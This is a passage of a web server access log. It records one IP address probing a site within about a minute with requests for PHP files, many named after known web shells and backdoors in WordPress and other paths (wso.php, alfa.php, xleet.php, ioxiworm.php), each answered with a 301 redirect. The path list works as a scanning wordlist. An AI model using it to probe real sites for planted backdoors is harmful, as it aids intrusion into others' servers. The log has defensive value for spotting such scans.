+0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:02:43 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:43 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:02:43 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:02:44 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:44 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:44 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:45 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:45 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:45 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:46 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:46 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:46 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:47 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:47 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:47 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:48 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:48 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:48 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:49 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:02:49 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:49 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:50 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:50 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:50 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:51 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:51 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:51 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:02:52 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:52 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:52 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:02:53 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:53 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:53 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:54 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:54 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:54 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:54 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:02:55 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:02:55 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:55 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:56 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:56 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:56 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:57 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:57 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:57 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:58 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:02:58 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:58 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:59 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:59 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:03:00 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:00 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:00 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:01 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:01 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:03:01 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:03:02 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:02 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:02 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:03 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:03 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:03 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:04 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:03:04 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:04 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:05 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:05 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:03:05 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:06 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:06 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:03:06 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:07 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:07 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:07 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:08 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:03:08 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:08 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:09 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:09 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:09 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:10 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:03:10 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:03:10 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:03:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:11 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:03:12 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:12 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:13 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:13 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:03:13 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:14 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:14 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:14 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:14 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:15 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:03:15 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:16 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:16 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:16 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:03:17 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:17 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:17 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:18 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:18 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:18 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:19 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:03:19 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:03:19 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:03:19 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 